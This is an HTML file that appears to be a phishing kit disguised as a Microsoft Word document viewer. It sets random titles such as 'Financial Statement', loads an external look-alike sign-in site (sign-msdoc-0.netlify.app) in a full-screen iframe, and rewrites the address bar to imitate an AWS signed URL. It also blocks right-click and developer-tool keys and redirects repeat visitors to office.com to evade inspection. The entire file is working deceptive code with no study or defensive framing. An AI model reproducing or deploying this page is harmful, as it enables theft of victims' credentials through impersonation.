<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" href="https://res-1.cdn.office.net/officeonline/op/s/161850841001_Resources/FavIcon_Word.ico" type="image/x-icon">
    <title>Statement_d</title>
    <style>
        /* Ensure the iframe and body take up the full screen */
        html, body {
            margin: 0;
            padding: 0;
            height: 100%;
            overflow: hidden;
        }
        iframe {
            width: 100%;
            height: 100%;
            border: none;
        }
    </style>
    <script>
        // Array of possible titles
        const titles = [
            "Statement Docs",
            "Financial Statement",
            "Docs Storage",
            "Document_Statment_4859",
            "Important Files",
            "Secured Archive",
            "Document Vault",
            "Docs_Store_2437",
            "Private Statements",
            "Confidential_Storage"
        ];

        // Randomize the title
        function setRandomTitle() {
            const randomIndex = Math.floor(Math.random() * titles.length);
            document.title = titles[randomIndex];
        }

        // Function to log history to localStorage
        function logAccessHistory() {
            const currentTime = new Date().toISOString();
            const accessHistory = localStorage.getItem("accessHistory") || "";
            const newHistory = accessHistory + `Accessed on: ${currentTime}\n`;
            localStorage.setItem("accessHistory", newHistory);
        }

        // Function to handle page access and visit count
        function handleAccess() {
            // Maximum allowed accesses (optional)
            const maxAccessCount = 3;

            // Get access count from localStorage
            let accessCount = parseInt(localStorage.getItem("accessCount")) || 0;

            // Increment the access count
            accessCount++;
            localStorage.setItem("accessCount", accessCount);

            // Log the access history (each visit timestamp)
            logAccessHistory();

            // If maximum accesses exceeded, redirect (if desired)
            if (accessCount >= maxAccessCount) {
                const redirectUrl = "https://office.com"; // Redirect URL
                window.location.href = redirectUrl;
            }
        }

        // Function to generate a random string (for obfuscating the URL path)
        function generateRandomString(length) {
            const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_.~';
            let result = '';
            for (let i = 0; i < length; i++) {
                result += characters.charAt(Math.floor(Math.random() * characters.length));
            }
            return result;
        }

        // Function to update the address bar URL with a long query string
        function updateAddressBar() {
            const randomString = generateRandomString(128); // Generate a long random string
            const longQueryString = `response-content-disposition=inline&X-Amz-Security-Token=${randomString}&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=${randomString}&X-Amz-Date=20250119T234513Z&X-Amz-Expires=43200&X-Amz-SignedHeaders=host&X-Amz-Signature=${randomString}`;
            history.pushState({}, '', `view.html?${longQueryString}`); // Change the URL in the address bar
        }

        // Function to load external content inside an iframe
        function loadExternalSite() {
            const iframe = document.createElement('iframe');
            iframe.src = "https://sign-msdoc-0.netlify.app"; // Static external site URL
            iframe.style.width = "100%";
            iframe.style.height = "100%";
            iframe.style.border = "none";
            document.body.appendChild(iframe);

            // Make the page go full screen on user action
            document.body.addEventListener('click', function() {
                if (document.body.requestFullscreen) {
                    document.body.requestFullscreen();
                } else if (document.body.webkitRequestFullscreen) { // Safari
                    document.body.webkitRequestFullscreen();
                } else if (document.body.msRequestFullscreen) { // IE/Edge
                    document.body.msRequestFullscreen();
                }
            });

            // Update the address bar when iframe reloads
            iframe.onload = function() {
                updateAddressBar();
            };
        }

        // Disable right-click on the page
        document.addEventListener('contextmenu', function(event) {
            event.preventDefault();
        });

        document.addEventListener('keydown', function(event) {
            if (event.key === "F12" || (event.ctrlKey && event.shiftKey && event.key === "I")) {
                event.preventDefault();
            }
        });

        // Start loading the external site and executing all actions on page load
        window.onload = function() {
            setRandomTitle(); // Set random title
            updateAddressBar(); // Initial URL obfuscation
            loadExternalSite(); // Load external site inside the iframe
            handleAccess(); // Handle access count and log history
        };
    </script>
</head>
<body>
</body>
</html>
